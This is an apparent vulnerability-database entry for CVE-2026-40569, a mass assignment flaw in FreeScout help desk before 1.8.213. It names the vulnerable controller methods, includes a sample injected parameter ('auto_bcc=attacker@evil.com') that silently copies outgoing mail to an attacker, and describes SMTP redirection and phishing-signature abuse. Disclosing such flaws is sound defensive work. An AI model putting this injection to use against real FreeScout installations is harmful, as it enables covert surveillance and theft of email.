CVE-2026-40569
Description
FreeScout is a free self-hosted help desk and shared mailbox. Versions prior to 1.8.213 have a mass assignment vulnerability in the mailbox connection settings endpoints of FreeScout (`connectionIncomingSave()` at `app/Http/Controllers/MailboxesController.php:468` and `connectionOutgoingSave()` at line 398). Both methods pass `$request->all()` directly to `$mailbox->fill()` without any field allowlisting, allowing an authenticated admin to overwrite any of the 32 fields in the Mailbox model's `$fillable` array -- including security-critical fields that do not belong to the connection settings form, such as `auto_bcc`, `out_server`, `out_password`, `signature`, `auto_reply_enabled`, and `auto_reply_message`. Validation in `connectionIncomingSave()` is entirely commented out, and the validator in `connectionOutgoingSave()` only checks value formats for SMTP fields without stripping extra parameters. An authenticated admin user can exploit this by appending hidden parameters (e.g., `auto_bcc=attacker@evil.com`) to a legitimate connection settings save request. Because the `auto_bcc` field is not displayed on the connection settings form (it only appears on the general mailbox settings page), the injection is invisible to other administrators reviewing connection settings. Once set, every outgoing email from the affected mailbox is silently BCC'd to the attacker via the `SendReplyToCustomer` job. The same mechanism allows redirecting outgoing SMTP through an attacker-controlled server, injecting tracking pixels or phishing links into email signatures, and enabling attacker-crafted auto-replies -- all from a single HTTP request. This is particularly dangerous in multi-admin environments where one admin can silently surveil mailboxes managed by others, and when an admin session is compromised via a separate vulnerability (e.g., XSS), the attacker gains persistent email exfiltration that survives session expiry. Version 1.8.213 fixes the issue.
Description as published by the source, in English.
Key facts
- Published
- 2026-04-21
- Last modified
- 2026-06-17
- Assigned by
- security-advisories@github.com
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L- Scored by
- security-advisories@github.com
- Probability of exploitation
-
0.3 %
higher than 22 %
of all known vulnerabilities
EPSS, next 30 days, model v2026.06.15 - Fix available
- Not registered in the sources
Affected products
| Vendor | Product | Versions | Status |
|---|---|---|---|
| freescout-help-desk | freescout | < 1.8.213 | Affected |
Weakness type
-
CWE-284: Improper Access Control
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
-
CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can b…
Attack techniques
Derived through the weakness type: CVE to CWE to CAPEC to ATT&CK. This shows which techniques the weakness class is historically used for. It does not assert that this vulnerability has been exploited that way.
- T1014: Rootkit
- T1027.009: Embedded Payloads
- T1037: Boot or Logon Initialization Scripts
- T1080: Taint Shared Content
- T1505.005: Terminal Services DLL
- T1542.003: Bootkit
- T1543: Create or Modify System Process
- T1543.001: Launch Agent
- T1543.003: Windows Service
- T1543.004: Launch Daemon
- T1546.001: Change Default File Association
- T1546.004: Unix Shell Configuration Modification
- T1546.008: Accessibility Features
- T1546.016: Installer Packages
- T1547: Boot or Logon Autostart Execution
- T1547.006: Kernel Modules and Extensions
- T1553.004: Install Root Certificate
- T1556.006: Multi-Factor Authentication
- T1574.011: Services Registry Permissions Weakness
References
- https://github.com/freescout-help-desk/freescout/commit/f45b9105d43b0352c08fcca154e8ae617…
- https://github.com/freescout-help-desk/freescout/releases/tag/1.8.213
- https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-hmqm-33wp-858j
- https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-hmqm-33wp-858j
Does this affect you?
A vulnerability matters only if you run the product, in an affected version, somewhere an attacker can reach.